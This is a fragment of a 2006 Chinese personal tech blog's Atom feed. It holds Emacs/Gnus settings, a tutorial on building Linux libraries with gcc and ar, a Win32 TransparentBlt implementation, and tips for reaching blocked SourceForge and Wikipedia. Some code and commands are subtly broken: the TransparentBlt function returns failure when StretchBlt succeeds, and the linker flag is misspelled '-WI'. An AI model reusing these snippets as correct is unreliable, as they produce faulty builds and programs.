(gnus-ticked-mark (from 10)) &lt;br /&gt;; (gnus-dormant-mark (from 5))))&lt;br/&gt;&lt;p&gt;;(setq  gnus-score-find-score-files-function&lt;br /&gt;;       '(gnus-score-find-hierarchical gnus-score-find-bnews bbdb/gnus-score) &lt;br /&gt;;       gnus-use-adaptive-scoring t)&lt;br/&gt;&lt;p&gt;;;;&lt;br /&gt;;(setq gnus-confirm-mail-reply-to-news t&lt;br /&gt;;      message-kill-buffer-on-exit t&lt;br /&gt;;      message-elide-ellipsis &amp;quot;[...]\n&amp;quot;&lt;br /&gt;;      )&lt;br/&gt;&lt;p&gt;;;排序&lt;br /&gt;;(setq gnus-thread-sort-functions&lt;br /&gt;;      '(&lt;br /&gt;;        (not gnus-thread-sort-by-date)&lt;br /&gt;;        (not gnus-thread-sort-by-number)&lt;br /&gt;;        ))&lt;br/&gt;&lt;p&gt;;; 新闻组分组&lt;br /&gt;;; 有时订阅了很多新闻组，堆在一起不好管理。这个功能可以创建目录来分层管理&lt;br /&gt;;; 这些新闻组。&lt;br /&gt;;; group topic&lt;br /&gt;;(add-hook 'gnus-group-mode-hook 'gnus-topic-mode)&lt;br /&gt;;; 现在可以在group buffer里面M-x gnus-topic-create-topic来创建一个&amp;quot;topic&amp;quot;，&lt;br /&gt;;; 然后将某个新闻组或者其他topic给C-k掉，再移动到你创建的topic下C-y，就可以 &lt;br /&gt;;; 将它们收到这个topic下。&lt;br /&gt;;; topic的好处除了分层之外，还有就是可以将不常看的topic折叠起来，不要显示。&lt;br /&gt;;; 就像下面这样。&lt;br /&gt;;; &lt;br /&gt;;; [ Gnus -- 0 ]&lt;br /&gt;;;   [ MAIL -- 3 ]...&lt;br /&gt;;;   [ NEWS -- 0 ]&lt;br /&gt;;;     [ emacs -- 0 ]&lt;br /&gt;;;            *: nntp+binghe.6600.org: gnu.emacs.help &lt;br /&gt;;;            *: nntp+binghe.6600.org:gnu.emacs.gnus &lt;br /&gt;;;     [ 人文与社会 -- 0 ]&lt;br /&gt;;;       [ 语言 -- 0 ]&lt;br /&gt;;;              *: nntp+news.newsfan.net:教育就业.外语.日语 &lt;br /&gt;;;              *: nntp+news.newsfan.net: 教育就业.外语.英语 &lt;br /&gt;;;   [ misc -- 0 ]...&lt;br /&gt;;;&lt;br /&gt;;; 参考 gnus info -&amp;gt; Group Buffer -&amp;gt; Group Topics&lt;br/&gt;&lt;p&gt;;;中文设置&lt;br /&gt;;(setq gnus-summary-show-article-charset-alist&lt;br /&gt;;      '((1 . cn-gb-2312) (2 . big5) (3 . gbk) (4 . utf-8)))&lt;br/&gt;&lt;p&gt;;(setq &lt;br /&gt;;       gnus-default-charset 'cn-gb-2312       &lt;br /&gt;;       gnus-group-name-charset-group-alist '((&amp;quot;.*&amp;quot; . cn-gb-2312))&lt;br /&gt;;       gnus-newsgroup-ignored-charsets&lt;br /&gt;;       '(unknown-8bit x-unknown iso-8859-1 ISO-8859-15 x-gbk GB18030 gbk DEFAULT_CHARSET))&lt;br/&gt;&lt;p&gt;;另外，有些用web方式发出的邮件里有html，加入下面的设置，只看其中的&lt;br /&gt;;plain text部分：&lt;br /&gt;;(eval-after-load &amp;quot;mm-decode&amp;quot;&lt;br /&gt;;  '(progn&lt;br /&gt;;     (add-to-list 'mm-discouraged-alternatives &amp;quot;text/html&amp;quot;)&lt;br /&gt;;     (add-to-list 'mm-discouraged-alternatives &amp;quot;text/richtext&amp;quot;)))&lt;br/&gt;&lt;p&gt;;;设置头像文件&lt;br /&gt;;(setq gnus-posting-styles&lt;br /&gt;;      '((&amp;quot;.*&amp;quot;&lt;br /&gt;;         (name &amp;quot;YouName&amp;quot;)&lt;br /&gt;;         (face &amp;quot;&amp;quot;)&lt;br /&gt;         ;;这个我都是抄老外的，自己找去,在Gnus里看到好的头像，然后到&lt;br /&gt;         ;;groups.google里把他的字符串贴过来 -_-!&lt;br /&gt;;         (address &amp;quot;&lt;a href="mailto:YouEmail@gmail.com"&gt;YouEmail@gmail.com&lt;/a&gt;&amp;quot;)&lt;br /&gt;;         (organization &amp;quot;&lt;a href="http://www.emacs.cn/"&gt;www.emacs.cn&lt;/a&gt;&amp;quot;)&lt;br /&gt;;         (signature &amp;quot;&lt;br /&gt;;           My name is K T&amp;quot;)&lt;br /&gt;;         )&lt;br /&gt;;))&lt;br /&gt;  ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;&lt;br /&gt;  ;;                  End of configure Gnus in Emacs                   ;;;&lt;br /&gt;  ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;&lt;br/&gt;&lt;p&gt;&lt;br /&gt;;;自动补全功能&lt;br /&gt;(global-set-key [(meta ?/)] 'hippie-expand)&lt;br /&gt;(setq hippie-expand-try-functions-list&lt;br /&gt;'(try-expand-line&lt;br /&gt;  try-expand-line-all-buffers&lt;br /&gt;  try-expand-list&lt;br /&gt;  try-expand-list-all-buffers&lt;br /&gt;  try-expand-dabbrev&lt;br /&gt;  try-expand-dabbrev-visible&lt;br /&gt;  try-expand-dabbrev-all-buffers&lt;br /&gt;  try-expand-dabbrev-from-kill&lt;br /&gt;  try-complete-file-name&lt;br /&gt;  try-complete-file-name-partially&lt;br /&gt;  try-complete-lisp-symbol&lt;br /&gt;  try-complete-lisp-symbol-partially&lt;br /&gt;  try-expand-whole-kill))&lt;br/&gt;&lt;p&gt;&lt;br /&gt;;; 代码折叠&lt;br /&gt;(load-library &amp;quot;hideshow&amp;quot;)&lt;br /&gt;(add-hook 'java-mode-hook 'hs-minor-mode)&lt;br /&gt;(add-hook 'perl-mode-hook 'hs-minor-mode)&lt;br /&gt;(add-hook 'php-mode-hook 'hs-minor-mode)&lt;br /&gt;(add-hook 'emacs-lisp-mode-hook 'hs-minor-mode)&lt;br/&gt;&lt;p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11894000-1117834253068428532?l=kpld.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kpld.blogspot.com/feeds/1117834253068428532/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11894000&amp;postID=1117834253068428532' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11894000/posts/default/1117834253068428532'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11894000/posts/default/1117834253068428532'/><link rel='alternate' type='text/html' href='http://kpld.blogspot.com/2006/09/my-emacs-config-file.html' title='My Emacs config file'/><author><name>kpld</name><uri>http://www.blogger.com/profile/04696686280494393925</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11894000.post-461973971815321158</id><published>2006-08-26T19:18:00.000+08:00</published><updated>2010-09-30T10:40:27.066+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Live Space'/><title type='text'>Linux中库的生成与使用（转）</title><content type='html'>&lt;div&gt;&lt;strong&gt;基本概念 &lt;/strong&gt;&lt;/div&gt;&lt;br/&gt;&lt;div&gt; &lt;/div&gt;&lt;br/&gt;&lt;div&gt;库有动态与静态两种，动态通常用.so为后缀，静态用.a为后缀。例如：libhello.so libhello.a &lt;/div&gt;&lt;br/&gt;&lt;div&gt;为了在同一系统中使用不同版本的库，可以在库文件名后加上版本号为后缀,例如： libhello.so.1.0,由于程序连接默认以.so为文件后缀名。所以为了使用这些库，通常使用建立符号连接的方式。 &lt;br /&gt;&lt;font color="#800000"&gt;ln -s libhello.so.1.0 libhello.so.1 &lt;/font&gt;&lt;br /&gt;&lt;font color="#800000"&gt;ln -s libhello.so.1 libhello.so&lt;/font&gt;&lt;/div&gt;&lt;br/&gt;&lt;div&gt; &lt;/div&gt;&lt;br/&gt;&lt;div&gt; &lt;/div&gt;&lt;br/&gt;&lt;div&gt; &lt;/div&gt;&lt;br/&gt;&lt;div&gt;&lt;strong&gt;使用库&lt;/strong&gt; &lt;/div&gt;&lt;br/&gt;&lt;div&gt; &lt;/div&gt;&lt;br/&gt;&lt;div&gt;当要使用静态的程序库时，连接器会找出程序所需的函数，然后将它们拷贝到执行文件，由于这种拷贝是完整的，所以一旦连接成功，静态程序库也就不再需要了。然而，对动态库而言，就不是这样。动态库会在执行程序内留下一个标记‘指明当程序执行时，首先必须载入这个库。由于动态库节省空间，linux下进行连接的缺省操作是首先连接动态库，也就是说，如果同时存在静态和动态库，不特别指定的话，将与动态库相连接。 &lt;br /&gt;现在假设有一个叫hello的程序开发包，它提供一个静态库libhello.a 一个动态库libhello.so,一个头文件hello.h,头文件中提供sayhello()这个函数 &lt;br /&gt;/* &lt;font color="#008000"&gt;hello.h&lt;/font&gt; */ &lt;br /&gt;&lt;font color="#0000ff"&gt;void&lt;/font&gt; sayhello(); &lt;br /&gt;另外还有一些说明文档。这一个典型的程序开发包结构 &lt;br /&gt;1.与动态库连接 &lt;br /&gt;linux默认的就是与动态库连接，下面这段程序testlib.c使用hello库中的sayhello()函数 &lt;/div&gt;&lt;br/&gt;&lt;div&gt;/*&lt;font color="#008000"&gt;testlib.c&lt;/font&gt;*/ &lt;br /&gt;#&lt;font color="#0000ff"&gt;include&lt;/font&gt; &amp;lt;&lt;font color="#ff00ff"&gt;stdio.h&lt;/font&gt;&amp;gt;&lt;br /&gt;#&lt;font color="#0000ff"&gt;include&lt;/font&gt; &amp;quot;&lt;font color="#ff00ff"&gt;hello.h&lt;/font&gt;&amp;quot;&lt;/div&gt;&lt;br/&gt;&lt;div&gt; &lt;/div&gt;&lt;br/&gt;&lt;div&gt;&lt;font color="#0000ff"&gt;int&lt;/font&gt; main() &lt;br /&gt;{ &lt;br /&gt;    sayhello(); &lt;br /&gt;    &lt;font color="#0000ff"&gt;return&lt;/font&gt; &lt;font color="#ff0000"&gt;0&lt;/font&gt;; &lt;br /&gt;} &lt;/div&gt;&lt;br/&gt;&lt;div&gt;使用如下命令进行编译 &lt;br /&gt;&lt;font color="#800000"&gt;$gcc -c testlib.c -o testlib.o &lt;/font&gt;&lt;br /&gt;用如下命令连接： &lt;br /&gt;&lt;font color="#800000"&gt;$gcc testlib.o -lhello -o testlib -L/usr/test -L./&lt;br /&gt;&lt;/font&gt;在连接时要注意，假设libhello.o 和libhello.a都在缺省的库搜索路径下/usr/lib下，如果在其它位置要加上-L参数 &lt;br /&gt;与与静态库连接麻烦一些，主要是参数问题。还是上面的例子： &lt;br /&gt;&lt;font color="#800000"&gt;$gcc testlib.o -o testlib -WI,-Bstatic -lhello &lt;/font&gt;&lt;br /&gt;注：这个特别的&amp;quot;-WI，-Bstatic&amp;quot;参数，实际上是传给了连接器ld. &lt;br /&gt;指示它与静态库连接，如果系统中只有静态库当然就不需要这个参数了。 &lt;br /&gt;如果要和多个库相连接，而每个库的连接方式不一样，比如上面的程序既要和libhello进行静态连接，又要和libbye进行动态连接，其命令应为： &lt;br /&gt;&lt;font color="#800000"&gt;$gcc testlib.o -o testlib -WI,-Bstatic -lhello -WI,-Bdynamic -lbye &lt;br /&gt;&lt;/font&gt;3.动态库的路径问题 &lt;br /&gt;为了让执行程序顺利找到动态库，有三种方法： &lt;br /&gt;(1)把库拷贝到/usr/lib和/lib目录下。 &lt;br /&gt;(2)在LD_LIBRARY_PATH环境变量中加上库所在路径。例如动态库libhello.so在/home/ting/lib目录下，以bash为例，使用命令： &lt;br /&gt;&lt;font color="#800000"&gt;$export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/home/ting/lib &lt;/font&gt;&lt;br /&gt;(3) 修改/etc/ld.so.conf文件，把库所在的路径加到文件末尾，并执行ldconfig刷新。这样，加入的目录下的所有库文件都可见、 &lt;/div&gt;&lt;br/&gt;&lt;div&gt;4.查看库中的符号 &lt;br /&gt;有时候可能需要查看一个库中到底有哪些函数，nm命令可以打印出库中的涉及到的所有符号。库既可以是静态的也可以是动态的。nm列出的符号有很多，常见的有三种，一种是在库中被调用，但并没有在库中定义(表明需要其他库支持)，用U表示；一种是库中定义的函数，用T表示，这是最常见的；另外一种是所谓的“弱态”符号，它们虽然在库中被定义，但是可能被其他库中的同名符号覆盖，用W表示。例如，假设开发者希望知道上央提到的hello库中是否定义了printf(): &lt;br /&gt;&lt;font color="#800000"&gt;$nm libhello.so |grep printf &lt;br /&gt;&lt;/font&gt;U printf &lt;br /&gt;U表示符号printf被引用，但是并没有在函数内定义，由此可以推断，要正常使用hello库，必须有其它库支持，再使用ldd命令查看hello依赖于哪些库： &lt;br /&gt;&lt;font color="#800000"&gt;$ldd hello &lt;/font&gt;&lt;br /&gt;libc.so.6=&amp;gt;/lib/libc.so.6(0x400la000) &lt;br /&gt;/lib/ld-linux.so.2=&amp;gt;/lib/ld-linux.so.2 (0x40000000) &lt;br /&gt;从上面的结果可以继续查看printf最终在哪里被定义，有兴趣可以go on &lt;/div&gt;&lt;br/&gt;&lt;div&gt; &lt;/div&gt;&lt;br/&gt;&lt;div&gt; &lt;/div&gt;&lt;br/&gt;&lt;div&gt;&lt;br /&gt;&lt;strong&gt;生成库 &lt;/strong&gt;&lt;/div&gt;&lt;br/&gt;&lt;div&gt; &lt;/div&gt;&lt;br/&gt;&lt;div&gt;第一步要把源代码编绎成目标代码。以下面的代码为例，生成上面用到的hello库： &lt;br /&gt;/* &lt;font color="#008000"&gt;hello.c&lt;/font&gt; */ &lt;br /&gt;#&lt;font color="#0000ff"&gt;include&lt;/font&gt; &amp;quot;&lt;font color="#ff00ff"&gt;hello.h&lt;/font&gt;&amp;quot;&lt;/div&gt;&lt;br/&gt;&lt;div&gt;&lt;br /&gt;&lt;font color="#0000ff"&gt;void&lt;/font&gt; sayhello() &lt;br /&gt;{ &lt;br /&gt;    printf(&amp;quot;&lt;font color="#ff00ff"&gt;hello,world\r\n&lt;/font&gt;&amp;quot;); &lt;br /&gt;} &lt;br /&gt;用gcc编绎该文件，在编绎时可以使用任何全法的编绎参数，例如-g加入调试代码等： &lt;br /&gt;&lt;font color="#800000"&gt;$gcc -c hello.c -o hello.o &lt;/font&gt;&lt;/div&gt;&lt;br/&gt;&lt;div&gt;1.连接成静态库 &lt;br /&gt;连接成静态库使用ar命令，其实ar是archive的意思 &lt;br /&gt;&lt;font color="#800000"&gt;$ar cqs libhello.a hello.o &lt;br /&gt;&lt;/font&gt;2.连接成动态库 &lt;br /&gt;生成动态库用gcc来完成，由于可能存在多个版本，因此通常指定版本号： &lt;br /&gt;&lt;font color="#800000"&gt;$gcc -shared -Wl,-soname,libhello.so.1 -o libhello.so.1.0 hello.o &lt;br /&gt;&lt;/font&gt;另外再建立两个符号连接： &lt;br /&gt;&lt;font color="#800000"&gt;$ln -s libhello.so.1.0 libhello.so.1 &lt;/font&gt;&lt;br /&gt;&lt;font color="#800000"&gt;$ln -s libhello.so.1 libhello.so &lt;br /&gt;&lt;/font&gt;这样一个libhello的动态连接库就生成了。最重要的是传gcc -shared 参数使其生成是动态库而不是普通执行程序。 &lt;br /&gt;-Wl 表示后面的参数也就是-soname,libhello.so.1直接传给连接器ld进行处理。实际上，每一个库都有一个soname，当连接器发现它正在查找的程序库中有这样一个名称，连接器便会将soname嵌入连结中的二进制文件内，而不是它正在运行的实际文件名，在程序执行期间，程序会查找拥有soname名字的文件，而不是库的文件名，换句话说，soname是库的区分标志。 &lt;br /&gt;这样做的目的主要是允许系统中多个版本的库文件共存，习惯上在命名库文件的时候通常与soname相同 &lt;br /&gt;libxxxx.so.major.minor &lt;br /&gt;其中，xxxx是库的名字，major是主版本号，minor 是次版本号&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11894000-461973971815321158?l=kpld.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kpld.blogspot.com/feeds/461973971815321158/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11894000&amp;postID=461973971815321158' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11894000/posts/default/461973971815321158'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11894000/posts/default/461973971815321158'/><link rel='alternate' type='text/html' href='http://kpld.blogspot.com/2006/08/linux.html' title='Linux中库的生成与使用（转）'/><author><name>kpld</name><uri>http://www.blogger.com/profile/04696686280494393925</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11894000.post-4899165531729005236</id><published>2006-08-14T21:40:00.000+08:00</published><updated>2010-09-30T10:40:27.052+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Live Space'/><title type='text'>Cool Xgl Demo</title><content type='html'>&lt;div&gt;&lt;a href="http://www.youtube.com/watch?v=Cz_2vKq5cZk"&gt;http://www.youtube.com/watch?v=Cz_2vKq5cZk&lt;/a&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11894000-4899165531729005236?l=kpld.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kpld.blogspot.com/feeds/4899165531729005236/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11894000&amp;postID=4899165531729005236' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11894000/posts/default/4899165531729005236'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11894000/posts/default/4899165531729005236'/><link rel='alternate' type='text/html' href='http://kpld.blogspot.com/2006/08/cool-xgl-demo.html' title='Cool Xgl Demo'/><author><name>kpld</name><uri>http://www.blogger.com/profile/04696686280494393925</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11894000.post-815628324388930084</id><published>2006-07-05T21:16:00.000+08:00</published><updated>2010-09-30T10:40:27.038+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Live Space'/><title type='text'>真是禽兽啊</title><content type='html'>&lt;p&gt;&lt;a href="http://www.youtube.com/v/7mr4vgVIaOg"&gt;http://www.youtube.com/v/7mr4vgVIaOg&lt;/a&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11894000-815628324388930084?l=kpld.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kpld.blogspot.com/feeds/815628324388930084/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11894000&amp;postID=815628324388930084' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11894000/posts/default/815628324388930084'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11894000/posts/default/815628324388930084'/><link rel='alternate' type='text/html' href='http://kpld.blogspot.com/2006/07/blog-post.html' title='真是禽兽啊'/><author><name>kpld</name><uri>http://www.blogger.com/profile/04696686280494393925</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11894000.post-5993106087930905057</id><published>2006-04-25T21:12:00.000+08:00</published><updated>2010-09-30T10:40:27.023+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Live Space'/><title type='text'>vim tutorial</title><content type='html'>&lt;div&gt;&lt;/div&gt;&lt;div class="msnphotos"&gt;&lt;a href="http://storage.live.com/items/8AC759DD08B8D806!167" title="vi-vim-cheat-sheet.png"&gt;&lt;img src="http://storage.live.com/items/8AC759DD08B8D806!167:Thumbnail" alt="vi-vim-cheat-sheet.png" style="border:0;padding:3px;" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11894000-5993106087930905057?l=kpld.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kpld.blogspot.com/feeds/5993106087930905057/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11894000&amp;postID=5993106087930905057' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11894000/posts/default/5993106087930905057'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11894000/posts/default/5993106087930905057'/><link rel='alternate' type='text/html' href='http://kpld.blogspot.com/2006/04/vim-tutorial.html' title='vim tutorial'/><author><name>kpld</name><uri>http://www.blogger.com/profile/04696686280494393925</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11894000.post-4112633253115702552</id><published>2006-04-22T02:03:00.000+08:00</published><updated>2010-09-30T10:40:26.986+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Live Space'/><title type='text'>TransparentBlt的实现</title><content type='html'>&lt;div&gt;Windows的TransparentBlt函数在显示器上能够正确画出透明位图，而且MS Office的虚拟打印机也支持此API。遗憾的是Adobe的虚拟打印机，以及市场上的某些打印机都不支持此API。搜索了网上关于此函数的若干实现方法，发现大多都是参照Christian Graus 在WinDEV发表的函数TransparentBltU，此方法在自己的工作中不能完全实现透明效果(可能我自己的代码使用有问题)，而且同微软的TransparentBlt一样，也不支持某些打印机，所以只好自己实现了此API，有兴趣的朋友可以参考一下，函数如下：&lt;/div&gt;&lt;br/&gt;&lt;div&gt; &lt;/div&gt;&lt;br/&gt;&lt;div&gt;BOOL TransparentBlt( HDC hdcDest, &lt;br /&gt;      int nXOriginDest, &lt;br /&gt;      int nYOriginDest, &lt;br /&gt;      int nWidthDest, &lt;br /&gt;      int nHeightDest, &lt;br /&gt;      HDC hdcSrc, &lt;br /&gt;      int nXOriginSrc, &lt;br /&gt;      int nYOriginSrc, &lt;br /&gt;      int nWidthSrc, &lt;br /&gt;      int nHeightSrc, &lt;br /&gt;      UINT crTransparent )&lt;br /&gt;{&lt;br /&gt;    HDC hdcMem = CreateCompatibleDC( NULL );&lt;br /&gt;    if( hdcMem == NULL )&lt;br /&gt;        return false;&lt;br /&gt;    HBITMAP hBmp, hOldBmp;&lt;br /&gt;    hBmp = CreateCompatibleBitmap( hdcSrc, nWidthDest, nHeightDest );&lt;br /&gt;    if( hBmp == NULL )&lt;br /&gt;        return false;&lt;br /&gt;    hOldBmp = (HBITMAP)SelectObject( hdcMem, hBmp );&lt;/div&gt;&lt;br/&gt;&lt;div&gt;    if( hOldBmp == NULL )&lt;/div&gt;&lt;br/&gt;&lt;div&gt;        return false;&lt;br /&gt;    if( StretchBlt( hdcMem, 0, 0, nWidthDest, nHeightDest, &lt;br /&gt;           hdcSrc, nXOriginSrc, nYOriginSrc, nWidthSrc, nHeightSrc, SRCCOPY ) )&lt;br /&gt;    {&lt;br /&gt;        return false;&lt;br /&gt;    }&lt;/div&gt;&lt;br/&gt;&lt;div&gt;    int i,j;&lt;br /&gt;    COLORREF crColor;&lt;br /&gt;    for( j=0; j&amp;lt;nHeightDest; j++ )&lt;br /&gt;    {&lt;br /&gt;        for( i=0; i&amp;lt;nWidthDest; i++ )&lt;br /&gt;        {&lt;br /&gt;            crColor= GetPixel( hdcMem, i, j );&lt;br /&gt;            if( crColor != crTransparent )&lt;br /&gt;                SetPixel( hdcDest, nXOriginDest+i, nYOriginDest+j, crColor );&lt;br /&gt;        }&lt;br /&gt;    }&lt;/div&gt;&lt;br/&gt;&lt;div&gt;    SelectObject( hdcMem, hOldBmp );&lt;br /&gt;    DeleteObject( hBmp );&lt;br /&gt;    DeleteDC(hdcMem );&lt;br /&gt; &lt;br /&gt;    return true;&lt;br /&gt;}&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11894000-4112633253115702552?l=kpld.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kpld.blogspot.com/feeds/4112633253115702552/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11894000&amp;postID=4112633253115702552' title='1 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11894000/posts/default/4112633253115702552'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11894000/posts/default/4112633253115702552'/><link rel='alternate' type='text/html' href='http://kpld.blogspot.com/2006/04/transparentblt.html' title='TransparentBlt的实现'/><author><name>kpld</name><uri>http://www.blogger.com/profile/04696686280494393925</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11894000.post-6494104392642395217</id><published>2006-03-07T17:23:00.000+08:00</published><updated>2010-09-30T10:40:26.941+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Live Space'/><title type='text'>打破封锁，技术无国界</title><content type='html'>&lt;div&gt;&lt;font size="2"&gt;SourceForge被封锁后，可以通过&lt;/font&gt;&lt;span style="font-size:13px;"&gt;&lt;a href="https://www.sourceforge.net/"&gt;&lt;u&gt;&lt;font color="#0000ff"&gt;https://www.sourceforge.net/&lt;/font&gt;&lt;/u&gt;&lt;/a&gt; 找到项目主页，但是还是下载不了，&lt;font size="2"&gt;如果&lt;/font&gt;你用的是FlashGet，可以在安装目录下找到mirrors.lst文件，在里面添加如下内容：&lt;/span&gt;&lt;/div&gt;&lt;br/&gt;&lt;div&gt;&lt;span style="font-size:13px;"&gt;//&lt;font size="2"&gt;sourceforge.net&lt;/font&gt;&lt;br /&gt;au,*,801,http://optusnet.dl.sourceforge.net/&lt;br /&gt;br,*,801,http://ufpr.dl.sourceforge.net/&lt;br /&gt;ch,*,801,http://puzzle.dl.sourceforge.net/&lt;br /&gt;ch,*,801,http://switch.dl.sourceforge.net/&lt;br /&gt;de,*,801,http://mesh.dl.sourceforge.net/&lt;br /&gt;fr,*,801,http://ovh.dl.sourceforge.net/&lt;br /&gt;ie,*,801,http://heanet.dl.sourceforge.net/&lt;br /&gt;jp,*,801,http://keihanna.dl.sourceforge.net/&lt;br /&gt;jp,*,801,http://jaist.dl.sourceforge.net/&lt;br /&gt;nl,*,801,http://surfnet.dl.sourceforge.net/&lt;br /&gt;ru,*,801,http://citkit.dl.sourceforge.net/&lt;br /&gt;ru,*,801,http://peterhost.dl.sourceforge.net/&lt;br /&gt;uk,*,801,http://kent.dl.sourceforge.net/&lt;br /&gt;us,*,801,http://internap.dl.sourceforge.net/&lt;br /&gt;us,*,801,http://umn.dl.sourceforge.net/&lt;br /&gt;us,*,801,http://easynews.dl.sourceforge.net/&lt;br /&gt;tw,*,801,http://nchc.dl.sourceforge.net/&lt;/span&gt;&lt;/div&gt;&lt;br/&gt;&lt;div&gt;&lt;span style="font-size:13px;"&gt;这样就可以下载了&lt;/span&gt;&lt;/div&gt;&lt;br/&gt;&lt;div&gt;&lt;span style="font-size:13px;"&gt;&lt;/span&gt; &lt;/div&gt;&lt;br/&gt;&lt;div&gt;&lt;span style="font-size:13px;"&gt;若是觉得上述方法比较麻烦，可以直接通过&lt;a href="http://www.hidemyass.com/" rel="nofollow"&gt;&lt;font color="#0000ff"&gt;&lt;u&gt;http://www.hidemyass.com/&lt;/u&gt;&lt;/font&gt;&lt;/a&gt;进行访问和下载&lt;/span&gt;&lt;/div&gt;&lt;br/&gt;&lt;div&gt;&lt;span style="font-size:13px;"&gt;&lt;/span&gt; &lt;/div&gt;&lt;br/&gt;&lt;div&gt;&lt;span style="font-size:13px;"&gt;&lt;/span&gt; &lt;/div&gt;&lt;br/&gt;&lt;div&gt;&lt;span style="font-size:13px;"&gt;对于想访问维基百科又不想用代理的朋友，可以通过如下网址进行安全访问：&lt;/span&gt;&lt;/div&gt;&lt;br/&gt;&lt;div&gt;&lt;span style="font-size:13px;"&gt;&lt;a href="https://secure.wikimedia.org/wikipedia/zh/wiki/%E9%A6%96%E9%A1%B5"&gt;&lt;u&gt;&lt;font color="#0000ff"&gt;https://secure.wikimedia.org/wikipedia/zh/wiki/%E9%A6%96%E9%A1%B5&lt;/font&gt;&lt;/u&gt;&lt;/a&gt;&lt;a href="https://secure.wikimedia.org/wikipedia/zh/wiki/%E9%A6%96%E9%A1%B5"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;br/&gt;&lt;div&gt;&lt;span style="font-size:13px;"&gt;&lt;/span&gt; &lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11894000-6494104392642395217?l=kpld.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kpld.blogspot.com/feeds/6494104392642395217/comments/default' title='帖子评论'/><link rel='replies' type='text/html' 